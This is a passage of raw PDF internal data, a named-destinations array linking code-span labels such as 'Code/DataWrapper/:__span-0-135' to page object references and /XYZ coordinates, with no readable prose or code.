(Code/DataWrapper/:__span-0-135) [ 1603 0 R /XYZ 60.307257 570.018342 0 ] (Code/DataWrapper/:__span-0-136) [ 1603 0 R /XYZ 60.307257 556.617990 0 ] (Code/DataWrapper/:__span-0-137) [ 1603 0 R /XYZ 60.307257 543.217638 0 ] (Code/DataWrapper/:__span-0-138) [ 1603 0 R /XYZ 60.307257 529.817286 0 ] (Code/DataWrapper/:__span-0-139) [ 1603 0 R /XYZ 60.307257 516.416934 0 ] (Code/DataWrapper/:__span-0-14) [ 1597 0 R /XYZ 60.307257 506.630142 0 ] (Code/DataWrapper/:__span-0-140) [ 1603 0 R /XYZ 60.307257 503.016582 0 ] (Code/DataWrapper/:__span-0-141) [ 1603 0 R /XYZ 60.307257 476.215878 0 ] (Code/DataWrapper/:__span-0-142) [ 1603 0 R /XYZ 60.307257 462.815526 0 ] (Code/DataWrapper/:__span-0-143) [ 1603 0 R /XYZ 60.307257 449.415174 0 ] (Code/DataWrapper/:__span-0-144) [ 1603 0 R /XYZ 60.307257 436.014822 0 ] (Code/DataWrapper/:__span-0-145) [ 1603 0 R /XYZ 60.307257 422.614470 0 ] (Code/DataWrapper/:__span-0-146) [ 1603 0 R /XYZ 60.307257 409.214118 0 ] (Code/DataWrapper/:__span-0-147) [ 1603 0 R /XYZ 60.307257 382.413414 0 ] (Code/DataWrapper/:__span-0-148) [ 1603 0 R /XYZ 60.307257 342.212358 0 ] (Code/DataWrapper/:__span-0-149) [ 1603 0 R /XYZ 60.307257 328.812006 0 ] (Code/DataWrapper/:__span-0-15) [ 1597 0 R /XYZ 60.307257 493.229790 0 ] (Code/DataWrapper/:__span-0-150) [ 1603 0 R /XYZ 60.307257 315.411654 0 ] (Code/DataWrapper/:__span-0-151) [ 1603 0 R /XYZ 60.307257 302.011302 0 ] (Code/DataWrapper/:__span-0-152) [ 1603 0 R /XYZ 60.307257 288.610950 0 ] (Code/DataWrapper/:__span-0-153) [ 1603 0 R /XYZ 60.307257 275.210598 0 ] (Code/DataWrapper/:__span-0-154) [ 1603 0 R /XYZ 60.307257 261.810246 0 ] (Code/DataWrapper/:__span-0-155) [ 1603 0 R /XYZ 60.307257 248.409894 0 ] (Code/DataWrapper/:__span-0-156) [ 1603 0 R /XYZ 60.307257 235.009542 0 ] (Code/DataWrapper/:__span-0-157) [ 1603 0 R /XYZ 60.307257 208.208838 0 ] (Code/DataWrapper/:__span-0-158) [ 1603 0 R /XYZ 60.307257 181.408134 0 ] (Code/DataWrapper/:__span-0-159) [ 1603 0 R /XYZ 60.307257 154.607430 0 ] (Code/DataWrapper/:__span-0-16) [ 1597 0 R /XYZ 60.307257 479.829438 0 ] (Code/DataWrapper/:__span-0-160) [ 1603 0 R /XYZ 60.307257 141.207078 0 ] (Code/DataWrapper/:__span-0-161) [ 1603 0 R /XYZ 60.307257 127.806726 0 ] (Code/DataWrapper/:__span-0-162) [ 1603 0 R /XYZ 60.307257 114.406374 0 ] (Code/DataWrapper/:__span-0-163) [ 1603 0 R /XYZ 60.307257 101.006022 0 ] (Code/DataWrapper/:__span-0-164) [ 1603 0 R /XYZ 60.307257 87.605670 0 ] (Code/DataWrapper/:__span-0-165) [ 1605 0 R /XYZ 60.307257 771.023622 0 ] (Code/DataWrapper/:__span-0-166) [ 1605 0 R /XYZ 60.307257 757.623270 0 ] (Code/DataWrapper/:__span-0-167) [ 1605 0 R /XYZ 60.307257 744.222918 0 ] (Code/DataWrapper/:__span-0-168) [ 1605 0 R /XYZ 60.307257 730.822566 0 ] (Code/DataWrapper/:__span-0-169) [ 1605 0 R /XYZ 60.307257 717.422214 0 ] (Code/DataWrapper/:__span-0-17) [ 1597 0 R /XYZ 60.307257 466.429086 0 ] (Code/DataWrapper/:__span-0-170) [ 1605 0 R /XYZ 60.307257 704.021862 0 ] (Code/DataWrapper/:__span-0-171) [ 1605 0 R /XYZ 60.307257 677.221158 0 ] (Code/DataWrapper/:__span-0-172) [ 1605 0 R /XYZ 60.307257 650.420454 0 ] (Code/DataWrapper/:__span-0-173) [ 1605 0 R /XYZ 60.307257 637.020102 0 ] (Code/DataWrapper/:__span-0-174) [ 1605 0 R /XYZ 60.307257 623.619750 0 ] (Code/DataWrapper/:__span-0-175) [ 1605 0 R /XYZ 60.307257 596.819046 0 ] (Code/DataWrapper/:__span-0-176) [ 1605 0 R /XYZ 60.307257 570.018342 0 ] (Code/DataWrapper/:__span-0-177) [ 1605 0 R /XYZ 60.307257 543.217638 0 ] (Code/DataWrapper/:__span-0-178) [ 1605 0 R /XYZ 60.307257 529.817286 0 ] (Code/DataWrapper/:__span-0-179) [ 1605 0 R /XYZ 60.307257 516.416934 0 ] (Code/DataWrapper/:__span-0-18) [ 1597 0 R /XYZ 60.307257 453.028734 0 ] (Code/DataWrapper/:__span-0-180) [ 1605 0 R /XYZ 60.307257 503.016582 0 ] (Code/DataWrapper/:__span-0-181) [ 1605 0 R /XYZ 60.307257 489.616230 0 ] (Code/DataWrapper/:__span-0-182) [ 1605 0 R /XYZ 60.307257 476.215878 0 ] (Code/DataWrapper/:__span-0-183) [ 1605 0 R /XYZ 60.307257 462.815526 0 ] (Code/DataWrapper/:__span-0-184) [ 1605 0 R /XYZ 60.307257 449.415174 0 ] (Code/DataWrapper/:__span-0-185) [ 1605 0 R /XYZ 60.307257 436.014822 0 ] (Code/DataWrapper/:__span-0-186) [ 1605 0 R /XYZ 60.307257 422.614470 0 ] (Code/DataWrapper/:__span-0-187) [ 1605 0 R /XYZ 60.307257 409.214118 0 ] (Code/DataWrapper/:__span-0-188) [ 1605 0 R /XYZ 60.307257 395.813766 0 ] (Code/DataWrapper/:__span-0-189) [ 1605 0 R /XYZ 60.307257 382.413414 0 ] (Code/DataWrapper/:__span-0-19) [ 1597 0 R /XYZ 60.307257 439.628382 0 ] (Code/DataWrapper/:__span-0-190) [ 1605 0 R /XYZ 60.307257 369.013062 0 ] (Code/DataWrapper/:__span-0-191) [ 1605 0 R /XYZ 60.307257 355.612710 0 ] (Code/DataWrapper/:__span-0-192) [ 1605 0 R /XYZ 60.307257 342.212358 0 ] (Code/DataWrapper/:__span-0-193) [ 1605 0 R /XYZ 60.307257 328.812006 0 ] (Code/DataWrapper/:__span-0-194) [ 1605 0 R /XYZ 60.307257 315.411654 0 ] (Code/DataWrapper/:__span-0-195) [ 1605 0 R /XYZ 60.307257 302.011302 0 ] (Code/DataWrapper/:__span-0-196) [ 1605 0 R /XYZ 60.307257 288.610950 0 ] (Code/DataWrapper/:__span-0-197) [ 1605 0 R /XYZ 60.307257 275.210598 0 ] (Code/DataWrapper/:__span-0-198) [ 1605 0 R /XYZ 60.307257 261.810246 0 ] (Code/DataWrapper/:__span-0-199) [ 1605 0 R /XYZ 60.307257 248.409894 0 ] (Code/DataWrapper/:__span-0-2) [ 1597 0 R /XYZ 60.307257 694.235070 0 ] (Code/DataWrapper/:__span-0-20) [ 1597 0 R /XYZ 60.307257 426.228030 0 ] (Code/DataWrapper/:__span-0-200) [ 1605 0 R /XYZ 60.307257 221.609190 0 ] (Code/DataWrapper/:__span-0-201) [ 1605 0 R /XYZ 60.307257 208.208838 0 ] (Code/DataWrapper/:__span-0-202) [ 1605 0 R /XYZ 60.307257 181.408134 0 ] (Code/DataWrapper/:__span-0-203) [ 1605 0 R /XYZ 60.307257 154.607430 0 ] (Code/DataWrapper/:__span-0-204) [ 1605 0 R /XYZ 60.307257 127.806726 0 ] (Code/DataWrapper/:__span-0-205) [ 1605 0 R /XYZ 60.307257 101.006022 0 ] (Code/DataWrapper/:__span-0-206) [ 1605 0 R /XYZ 60.307257 87.605670 0 ] (Code/DataWrapper/:__span-0-207) [ 1607 0 R /XYZ 60.307257 757.623270 0 ] (Code/DataWrapper/:__span-0-208) [ 1607 0 R /XYZ 60.307257 730.822566 0 ] (Code/DataWrapper/:__span-0-209) [ 1607 0 R /XYZ 60.307257 717.422214 0 ] (Code/DataWrapper/:__span-0-21) [ 1597 0 R /XYZ 60.307257 412.827678 0 ] (Code/DataWrapper/:__span-0-210) [ 1607 0 R /XYZ 60.307257 704.021862 0 ] (Code/DataWrapper/:__span-0-211) [ 1607 0 R /XYZ 60.307257 677.221158 0 ] (Code/DataWrapper/:__span-0-212) [ 1607 0 R /XYZ 60.307257 663.820806 0 ] (Code/DataWrapper/:__span-0-213) [ 1607 0 R /XYZ 60.307257 650.420454 0 ] (Code/DataWrapper/:__span-0-214) [ 1607 0 R /XYZ 60.307257 637.020102 0 ] (Code/DataWrapper/:__span-0-215) [ 1607 0 R /XYZ 60.307257 623.619750 0 ] (Code/DataWrapper/:__span-0-216) [ 1607 0 R /XYZ 60.307257 610.219398 0 ] (Code/DataWrapper/:__span-0-217) [ 1607 0 R /XYZ 60.307257 596.819046 0 ] (Code/DataWrapper/:__span-0-218) [ 1607 0 R /XYZ 60.307257 583.418694 0 ] (Code/DataWrapper/:__span-0-219) [ 1607 0 R /XYZ 60.307257 570.018342 0 ] (Code/DataWrapper/:__span-0-22) [ 1597 0 R /XYZ 60.307257 399.427326 0 ] (Code/DataWrapper/:__span-0-220) [ 1607 0 R /XYZ 60.307257 556.617990 0 ] (Code/DataWrapper/:__span-0-221) [ 1607 0 R /XYZ 60.307257 543.217638 0 ] (Code/DataWrapper/:__span-0-222) [ 1607 0 R /XYZ 60.307257 529.817286 0 ] (Code/DataWrapper/:__span-0-223) [ 1607 0 R /XYZ 60.307257 516.416934 0 ] (Code/DataWrapper/:__span-0-224) [ 1607 0 R /XYZ 60.307257 503.016582 0 ] (Code/DataWrapper/:__span-0-225) [ 1607 0 R /XYZ 60.307257 489.616230 0 ] (Code/DataWrapper/:__span-0-226) [ 1607 0 R /XYZ 60.307257 476.215878 0 ] (Code/DataWrapper/:__span-0-227) [ 1607 0 R /XYZ 60.307257 462.815526 0 ] (Code/DataWrapper/:__span-0-228) [ 1607 0 R /XYZ 60.307257 449.415174 0 ] (Code/DataWrapper/:__span-0-229) [ 1607 0 R /XYZ 60.307257 436.014822 0 ] (Code/DataWrapper/:__span-0-23) [ 1597 0 R /XYZ 60.307257 372.626622 0 ] (Code/DataWrapper/:__span-0-230) [ 1607 0 R /XYZ 60.307257 422.614470 0 ] (Code/DataWrapper/:__span-0-231) [ 1607 0 R /XYZ 60.307257 409.214118 0 ] (Code/DataWrapper/:__span-0-232) [ 1607 0 R /XYZ 60.307257 395.813766 0 ] (Code/DataWrapper/:__span-0-233) [ 1607 0 R /XYZ 60.307257 382.413414 0 ] (Code/DataWrapper/:__span-0-234) [ 1607 0 R /XYZ 60.307257 369.013062 0 ] (Code/DataWrapper/:__span-0-235) [ 1607 0 R /XYZ 60.307257 355.612710 0 ] (Code/DataWrapper/:__span-0-236) [ 1607 0 R /XYZ 60.307257 342.212358 0 ] (Code/DataWrapper/:__span-0-237) [ 1607 0 R /XYZ 60.307257 328.812006 0 ] (Code/DataWrapper/:__span-0-238) [ 1607 0 R /XYZ 60.307257 315.411654 0 ] (Code/DataWrapper/:__span-0-239) [ 1607 0 R /XYZ 60.307257 302.011302 0 ] (Code/DataWrapper/:__span-0-24) [ 1597 0 R /XYZ 60.307257 359.226270 0 ] (Code/DataWrapper/:__span-0-240) [ 1607 0 R /XYZ 60.307257 288.610950 0 ] (Code/DataWrapper/:__span-0-241) [ 1607 0 R /XYZ 60.307257 275.210598 0 ] (Code/DataWrapper/:__span-0-242) [ 1607 0 R /XYZ 60.307257 261.810246 0 ] (Code/DataWrapper/:__span-0-243) [ 1607 0 R /XYZ 60.307257 248.409894 0 ] (Code/DataWrapper/:__span-0-244) [ 1607 0 R /XYZ 60.307257 235.009542 0 ] (Code/DataWrapper/:__span-0-245) [ 1607 0 R /XYZ 60.307257 194.808486 0 ] (Code/DataWrapper/:__span-0-246) [ 1607 0 R /XYZ 60.307257 181.408134 0 ] (Code/DataWrapper/:__span-0-247) [ 1607 0 R /XYZ 60.307257 168.007782 0 ] (Code/DataWrapper/:__span-0-248) [ 1607 0 R /XYZ 60.307257 154.607430 0 ] (Code/DataWrapper/:__span-0-249) [ 1607 0 R /XYZ 60.307257 127.806726 0 ] (Code/DataWrapper/:__span-0-25) [ 1597 0 R /XYZ 60.307257 332.425566 0 ] (Code/DataWrapper/:__span-0-250) [ 1607 0 R /XYZ 60.307257 114.406374 0 ] (Code/DataWrapper/:__span-0-251) [ 1607 0 R /XYZ 60.307257 101.006022 0 ] (Code/DataWrapper/:__span-0-252) [ 1607 0 R /XYZ 60.307257 87.605670 0 ] (Code/DataWrapper/:__span-0-253) [ 1609 0 R /XYZ 60.307257 771.023622 0 ] (Code/DataWrapper/:__span-0-254) [ 1609 0 R /XYZ 60.307257 757.623270 0 ] (Code/DataWrapper/:__span-0-255) [ 1609 0 R /XYZ 60.307257 744.222918 0 ] (Code/DataWrapper/:__span-0-256) [ 1609 0 R /XYZ 60.307257 730.822566 0 ] (Code/DataWrapper/:__span-0-257) [ 1609 0 R /XYZ 60.307257 717.422214 0 ] (Code/DataWrapper/:__span-0-258) [ 1609 0 R /XYZ 60.307257 704.021862 0 ] (Code/DataWrapper/:__span-0-259) [ 1609 0 R /XYZ 60.307257 690.621510 0 ] (Code/DataWrapper/:__span-0-26) [ 1597 0 R /XYZ 60.307257 319.025214 0 ] (Code/DataWrapper/:__span-0-260) [ 1609 0 R /XYZ 60.307257 677.221158 0 ] (Code/DataWrapper/:__span-0-261) [ 1609 0 R /XYZ 60.307257 637.020102 0 ] (Code/DataWrapper/:__span-0-262) [ 1609 0 R /XYZ 60.307257 623.619750 0 ] (Code/DataWrapper/:__span-0-263) [ 1609 0 R /XYZ 60.307257 610.219398 0 ] (Code/DataWrapper/:__span-0-264) [ 1609 0 R /XYZ 60.307257 596.819046 0 ] (Code/DataWrapper/:__span-0-265) [ 1609 0 R /XYZ 60.307257 583.418694 0 ] (Code/DataWrapper/:__span-0-266) [ 1609 0 R /XYZ 60.307257 570.018342 0 ] (Code/DataWrapper/:__span-0-267) [ 1609 0 R /XYZ 60.307257 556.617990 0 ] (Code/DataWrapper/:__span-0-268) [ 1609 0 R /XYZ 60.307257 543.217638 0 ] (Code/DataWrapper/:__span-0-269) [ 1609 0 R /XYZ 60.307257 529.817286 0 ] (Code/DataWrapper/:__span-0-27) [ 1597 0 R /XYZ 60.307257 292.224510 0 ] (Code/DataWrapper/:__span-0-270) [ 1609 0 R /XYZ 60.307257 516.416934 0 ] (Code/DataWrapper/:__span-0-271) [ 1609 0 R /XYZ 60.307257 503.016582 0 ] (Code/DataWrapper/:__span-0-272) [ 1609 0 R /XYZ 60.307257 476.215878 0 ] (Code/DataWrapper/:__span-0-273) [ 1609 0 R /XYZ 60.307257 462.815526 0 ] (Code/DataWrapper/:__span-0-274) [ 1609 0 R /XYZ 60.307257 449.415174 0 ] (Code/DataWrapper/:__span-0-275) [ 1609 0 R /XYZ 60.307257 422.614470 0 ] (Code/DataWrapper/:__span-0-276) [ 1609 0 R /XYZ 60.307257 395.813766 0 ] (Code/DataWrapper/:__span-0-277) [ 1609 0 R /XYZ 60.307257 369.013062 0 ] (Code/DataWrapper/:__span-0-278) [ 1609 0 R /XYZ 60.307257 355.612710 0 ] (Code/DataWrapper/:__span-0-279) [ 1609 0 R /XYZ 60.307257 342.212358 0 ] (Code/DataWrapper/:__span-0-28) [ 1597 0 R /XYZ 60.307257 278.824158 0 ] (Code/DataWrapper/:__span-0-280) [ 1609 0 R /XYZ 60.307257 328.812006 0 ] (Code/DataWrapper/:__span-0-281) [ 1609 0 R /XYZ 60.307257 315.411654 0 ] (Code/DataWrapper/:__span-0-282) [ 1609 0 R /XYZ 60.307257 302.011302 0 ] (Code/DataWrapper/:__span-0-283) [ 1609 0 R /XYZ 60.307257 288.610950 0 ] (Code/DataWrapper/:__span-0-284) [ 1609 0 R /XYZ 60.307257 275.210598 0 ] (Code/DataWrapper/:__span-0-285) [ 1609 0 R /XYZ 60.307257 261.810246 0 ] (Code/DataWrapper/:__span-0-286) [ 1609 0 R /XYZ 60.307257 248.409894 0 ] (Code/DataWrapper/:__span-0-287) [ 1609 0 R /XYZ 60.307257 235.009542 0 ] (Code/DataWrapper/:__span-0-288) [ 1609 0 R /XYZ 60.307257 221.609190 0 ] (Code/DataWrapper/:__span-0-289) [ 1609 0 R /XYZ 60.307257 194.808486 0 ] (Code/DataWrapper/:__span-0-29) [ 1597 0 R /XYZ 60.307257 265.423806 0 ] (Code/DataWrapper/:__span-0-290) [ 1609 0 R /XYZ 60.307257 181.408134 0 ] (Code/DataWrapper/:__span-0-291) [ 1609 0 R /XYZ 60.307257 168.007782 0 ] (Code/DataWrapper/:__span-0-292) [ 1609 0 R /XYZ 60.307257 154.607430 0 ] (Code/DataWrapper/:__span-0-293) [ 1609 0 R /XYZ 60.307257 141.207078 0 ] (Code/DataWrapper/:__span-0-294) [ 1609 0 R /XYZ 60.307257 114.406374 0 ] (Code/DataWrapper/:__span-0-295) [ 1609 0 R /XYZ 60.307257 101.006022 0 ] (Code/DataWrapper/:__span-0-296) [ 1609 0 R /XYZ 60.307257 87.605670 0 ] (Code/DataWrapper/:__span-0-297) [ 1611 0 R /XYZ 60.307257 771.023622 0 ] (Code/DataWrapper/:__span-0-298) [ 1611 0 R /XYZ 60.307257 757.623270 0 ] (Code/DataWrapper/:__span-0-299) [ 1611 0 R /XYZ 60.307257 744.222918 0 ] (Code/DataWrapper/:__span-0-3) [ 1597 0 R /XYZ 60.307257 680.834718 0 ] (Code/DataWrapper/:__span-0-30) [ 1597 0 R /XYZ 60.307257 252.023454 0 ] (Code/DataWrapper/:__span-0-300) [ 1611 0 R /XYZ 60.307257 730.822566 0 ] (Code/DataWrapper/:__span-0-301) [ 1611 0 R /XYZ 60.307257 717.422214 0 ] (Code/DataWrapper/:__span-0-302) [ 1611 0 R /XYZ 60.307257 704.021862 0 ] (Code/DataWrapper/:__span-0-303) [ 1611 0 R /XYZ 60.307257 690.621510 0 ] (Code/DataWrapper/:__span-0-304) [ 1611 0 R /XYZ 60.307257 677.221158 0 ] (Code/DataWrapper/:__span-0-305) [ 1611 0 R /XYZ 60.307257 663.820806 0 ] (Code/DataWrapper/:__span-0-306) [ 1611 0 R /XYZ 60.307257 637.020102 0 ] (Code/DataWrapper/:__span-0-307) [ 1611 0 R /XYZ 60.307257 610.219398 0 ] (Code/DataWrapper/:__span-0-308) [ 1611 0 R /XYZ 60.307257 596.819046 0 ] (Code/DataWrapper/:__span-0-309) [ 1611 0 R /XYZ 60.307257 583.418694 0 ] (Code/DataWrapper/:__span-0-31) [ 1597 0 R /XYZ 60.307257 238.623102 0 ] (Code/DataWrapper/:__span-0-310) [ 1611 0 R /XYZ 60.307257 570.018342 0 ] (Code/DataWrapper/:__span-0-311) [ 1611 0 R /XYZ 60.307257 556.617990 0 ] (Code/DataWrapper/:__span-0-312) [ 1611 0 R /XYZ 60.307257 543.217638 0 ] (Code/DataWrapper/:__span-0-313) [ 1611 0 R /XYZ 60.307257 529.817286 0 ] (Code/DataWrapper/:__span-0-314) [ 1611 0 R /XYZ 60.307257 516.416934 0 ] (Code/DataWrapper/:__span-0-315) [ 1611 0 R /XYZ 60.307257 489.616230 0 ] (Code/DataWrapper/:__span-0-316) [ 1611 0 R /XYZ 60.307257 476.215878 0 ] (Code/DataWrapper/:__span-0-317) [ 1611 0 R /XYZ 60.307257 449.415174 0 ] (Code/DataWrapper/:__span-0-318) [ 1611 0 R /XYZ 60.307257 436.014822 0 ] (Code/DataWrapper/:__span-0-319) [ 1611 0 R /XYZ 60.307257 409.214118 0 ] (Code/DataWrapper/:__span-0-32) [ 1597 0 R /XYZ 60.307257 185.021694 0 ] (Code/DataWrapper/:__span-0-320) [ 1611 0 R /XYZ 60.307257 395.813766 0 ] (Code/DataWrapper/:__span-0-321) [ 1611 0 R /XYZ 60.307257 382.413414 0 ] (Code/DataWrapper/:__span-0-322) [ 1611 0 R /XYZ 60.307257 369.013062 0 ] (Code/DataWrapper/:__span-0-323) [ 1611 0 R /XYZ 60.307257 342.212358 0 ] (Code/DataWrapper/:__span-0-324) [ 1611 0 R /XYZ 60.307257 328.812006 0 ] (Code/DataWrapper/:__span-0-325) [ 1611 0 R /XYZ 60.307257 302.011302 0 ] (Code/DataWrapper/:__span-0-326) [ 1611 0 R /XYZ 60.307257 288.610950 0 ] (Code/DataWrapper/:__span-0-327) [ 1611 0 R /XYZ 60.307257 275.210598 0 ] (Code/DataWrapper/:__span-0-328) [ 1611 0 R /XYZ 60.307257 261.810246 0 ] (Code/DataWrapper/:__span-0-329) [ 1611 0 R /XYZ 60.307257 248.409894 0 ] (Code/DataWrapper/:__span-0-33) [ 1597 0 R /XYZ 60.307257 171.621342 0 ] (Code/DataWrapper/:__span-0-330) [ 1611 0 R /XYZ 60.307257 235.009542 0 ] (Code/DataWrapper/:__span-0-331) [ 1611 0 R /XYZ 60.307257 221.609190 0 ] (Code/DataWrapper/:__span-0-332) [ 1611 0 R /XYZ 60.307257 208.208838 0 ] (Code/DataWrapper/:__span-0-333) [ 1611 0 R /XYZ 60.307257 181.408134 0 ] (Code/DataWrapper/:__span-0-334) [ 1611 0 R /XYZ 60.307257 168.007782 0 ] (Code/DataWrapper/:__span-0-335) [ 1611 0 R /XYZ 60.307257 154.607430 0 ] (Code/DataWrapper/:__span-0-336) [ 1611 0 R /XYZ 60.307257 141.207078 0 ] (Code/DataWrapper/:__span-0-337) [ 1611 0 R /XYZ 60.307257 114.406374 0 ] (Code/DataWrapper/:__span-0-338) [ 1611 0 R /XYZ 60.307257 101.006022 0 ] (Code/DataWrapper/:__span-0-339) [ 1613 0 R /XYZ 60.307257 771.023622 0 ] (Code/DataWrapper/:__span-0-34) [ 1597 0 R /XYZ 60.307257 158.220990 0 ] (Code/DataWrapper/:__span-0-340) [ 1613 0 R /XYZ 60.307257 757.623270 0 ] (Code/DataWrapper/:__span-0-341) [ 1613 0 R /XYZ 60.307257 744.222918 0 ] (Code/DataWrapper/:__span-0-342) [ 1613 0 R /XYZ 60.307257 730.822566 0 ] (Code/DataWrapper/:__span-0-343) [ 1613 0 R /XYZ 60.307257 717.422214 0 ] (Code/DataWrapper/:__span-0-344) [ 1613 0 R /XYZ 60.307257 690.621510 0 ] (Code/DataWrapper/:__span-0-345) [ 1613 0 R /XYZ 60.307257 677.221158 0 ] (Code/DataWrapper/:__span-0-346) [ 1613 0 R /XYZ 60.307257 663.820806 0 ] (Code/DataWrapper/:__span-0-347) [ 1613 0 R /XYZ 60.307257 650.420454 0 ] (Code/DataWrapper/:__span-0-348) [ 1613 0 R /XYZ 60.307257 637.020102 0 ] (Code/DataWrapper/:__span-0-349) [ 1613 0 R /XYZ 60.307257 623.619750 0 ] (Code/DataWrapper/:__span-0-35) [ 1597 0 R /XYZ 60.307257 144.820638 0 ] (Code/DataWrapper/:__span-0-350) [ 1613 0 R /XYZ 60.307257 610.219398 0 ] (Code/DataWrapper/:__span-0-351) [ 1613 0 R /XYZ 60.307257 596.819046 0 ] (Code/DataWrapper/:__span-0-352) [ 1613 0 R /XYZ 60.307257 583.418694 0 ] (Code/DataWrapper/:__span-0-353) [ 1613 0 R /XYZ 60.307257 570.018342 0 ] (Code/DataWrapper/:__span-0-354) [ 1613 0 R /XYZ 60.307257 556.617990 0 ] (Code/DataWrapper/:__span-0-355) [ 1613 0 R /XYZ 60.307257 543.217638 0 ] (Code/DataWrapper/:__span-0-356) [ 1613 0 R /XYZ 60.307257 516.416934 0 ] (Code/DataWrapper/:__span-0-357) [ 1613 0 R /XYZ 60.307257 503.016582 0 ] (Code/DataWrapper/:__span-0-358) [ 1613 0 R /XYZ 60.307257 489.616230 0 ] (Code/DataWrapper/:__span-0-359) [ 1613 0 R /XYZ 60.307257 476.215878 0 ] (Code/DataWrapper/:__span-0-36) [ 1597 0 R /XYZ 60.307257 104.619582 0 ] (Code/DataWrapper/:__span-0-360) [ 1613 0 R /XYZ 60.307257 462.815526 0 ] (Code/DataWrapper/:__span-0-361) [ 1613 0 R /XYZ 60.307257 449.415174 0 ] (Code/DataWrapper/:__span-0-362) [ 1613 0 R /XYZ 60.307257 436.014822 0 ] (Code/DataWrapper/:__span-0-363) [ 1613 0 R /XYZ 60.307257 422.614470 0 ] (Code/DataWrapper/:__span-0-364) [ 1613 0 R /XYZ 60.307257 409.214118 0 ] (Code/DataWrapper/:__span-0-365) [ 1613 0 R /XYZ 60.307257 395.813766 0 ] (Code/DataWrapper/:__span-0-366) [ 1613 0 R /XYZ 60.307257 382.413414 0 ] (Code/DataWrapper/:__span-0-367) [ 1613 0 R /XYZ 60.307257 369.013062 0 ] (Code/DataWrapper/:__span-0-368) [ 1613 0 R /XYZ 60.307257 355.612710 0 ] (Code/DataWrapper/:__span-0-369) [ 1613 0 R /XYZ 60.307257 342.212358 0 ] (Code/DataWrapper/:__span-0-37) [ 1597 0 R /XYZ 60.307257 91.219230 0 ] (Code/DataWrapper/:__span-0-370) [ 1613 0 R /XYZ 60.307257 328.812006 0 ] (Code/DataWrapper/:__span-0-371) [ 1613 0 R /XYZ 60.307257 315.411654 0 ] (Code/DataWrapper/:__span-0-372) [ 1613 0 R /XYZ 60.307257 302.011302 0 ] (Code/DataWrapper/:__span-0-373) [ 1613 0 R /XYZ 60.307257 288.610950 0 ] (Code/DataWrapper/:__span-0-374) [ 1613 0 R /XYZ 60.307257 275.210598 0 ] (Code/DataWrapper/:__span-0-375) [ 1613 0 R /XYZ 60.307257 261.810246 0 ] (Code/DataWrapper/:__span-0-376) [ 1613 0 R /XYZ 60.307257 248.409894 0 ] (Code/DataWrapper/:__span-0-377) [ 1613 0 R /XYZ 60.307257 235.009542 0 ] (Code/DataWrapper/:__span-0-378) [ 1613 0 R /XYZ 60.307257 221.609190 0 ] (Code/DataWrapper/:__span-0-379) [ 1613 0 R /XYZ 60.307257 208.208838 0 ] (Code/DataWrapper/:__span-0-38) [ 1599 0 R /XYZ 60.307257 757.623270 0 ] (Code/DataWrapper/:__span-0-39) [ 1599 0 R /XYZ 60.307257 744.222918 0 ] (Code/DataWrapper/:__span-0-4) [ 1597 0 R /XYZ 60.307257 667.434366 0 ] (Code/DataWrapper/:__span-0-40) [ 1599 0 R /XYZ 60.307257 730.822566 0 ] (Code/DataWrapper/:__span-0-41) [ 1599 0 R /XYZ 60.307257 717.422214 0 ] (Code/DataWrapper/:__span-0-42) [ 1599 0 R /XYZ 60.307257 704.021862 0 ] (Code/DataWrapper/:__span-0-43) [ 1599 0 R /XYZ 60.307257 690.621510 0 ] (Code/DataWrapper/:__span-0-44) [ 1599 0 R /XYZ 60.307257 677.221158 0 ] (Code/DataWrapper/:__span-0-45) [ 1599 0 R /XYZ 60.307257 663.820806 0 ] (Code/DataWrapper/:__span-0-46) [ 1599 0 R /XYZ 60.307257 650.420454 0 ] (Code/DataWrapper/:__span-0-47) [ 1599 0 R /XYZ 60.307257 623.619750 0 ] (Code/DataWrapper/:__span-0-48) [ 1599 0 R /XYZ 60.307257 610.219398 0 ] (Code/DataWrapper/:__span-0-49) [ 1599 0 R /XYZ 60.307257 583.418694 0 ] (Code/DataWrapper/:__span-0-5) [ 1597 0 R /XYZ 60.307257 627.233310 0 ] (Code/DataWrapper/:__span-0-50) [ 1599 0 R /XYZ 60.307257 570.018342 0 ] (Code/DataWrapper/:__span-0-51) [ 1599 0 R /XYZ 60.307257 556.617990 0 ] (Code/DataWrapper/:__span-0-52) [ 1599 0 R /XYZ 60.307257 543.217638 0 ] (Code/DataWrapper/:__span-0-53) [ 1599 0 R /XYZ 60.307257 529.817286 0 ] (Code/DataWrapper/:__span-0-54) [ 1599 0 R /XYZ 60.307257 516.416934 0 ] (Code/DataWrapper/:__span-0-55) [ 1599 0 R /XYZ 60.307257 476.215878 0 ] (Code/DataWrapper/:__span-0-56) [ 1599 0 R /XYZ 60.307257 462.815526 0 ] (Code/DataWrapper/:__span-0-57) [ 1599 0 R /XYZ 60.307257 422.614470 0 ] (Code/DataWrapper/:__span-0-58) [ 1599 0 R /XYZ 60.307257 395.813766 0 ] (Code/DataWrapper/:__span-0-59) [ 1599 0 R /XYZ 60.307257 382.413414 0 ] (Code/DataWrapper/:__span-0-6) [ 1597 0 R /XYZ 60.307257 613.832958 0 ] (Code/DataWrapper/:__span-0-60) [ 1599 0 R /XYZ 60.307257 369.013062 0 ] (Code/DataWrapper/:__span-0-61) [ 1599 0 R /XYZ 60.307257 342.212358 0 ] (Code/DataWrapper/:__span-0-62) [ 1599 0 R /XYZ 60.307257 328.812006 0 ] (Code/DataWrapper/:__span-0-63) [ 1599 0 R /XYZ 60.307257 288.610950 0 ] (Code/DataWrapper/:__span-0-64) [ 1599 0 R /XYZ 60.307257 275.210598 0 ] (Code/DataWrapper/:__span-0-65) [ 1599 0 R /XYZ 60.307257 261.810246 0 ] (Code/DataWrapper/:__span-0-66) [ 1599 0 R /XYZ 60.307257 248.409894 0 ] (Code/DataWrapper/:__span-0-67) [ 1599 0 R /XYZ 60.307257 235.009542 0 ] (Code/DataWrapper/:__span-0-68) [ 1599 0 R /XYZ 60.307257 208.208838 0 ] (Code/DataWrapper/:__span-0-69) [ 1599 0 R /XYZ 60.307257 194.808486 0 ] (Code/DataWrapper/:__span-0-7) [ 1597 0 R /XYZ 60.307257 600.432606 0 ] (Code/DataWrapper/:__span-0-70) [ 1599 0 R /XYZ 60.307257 181.408134 0 ] (Code/DataWrapper/:__span-0-71) [ 1599 0 R /XYZ 60.307257 168.007782 0 ] (Code/DataWrapper/:__span-0-72) [ 1599 0 R /XYZ 60.307257 154.607430 0 ] (Code/DataWrapper/:__span-0-73) [ 1599 0 R /XYZ 60.307257 141.207078 0 ] (Code/DataWrapper/:__span-0-74) [ 1599 0 R /XYZ 60.307257 127.806726 0 ] (Code/DataWrapper/:__span-0-75) [ 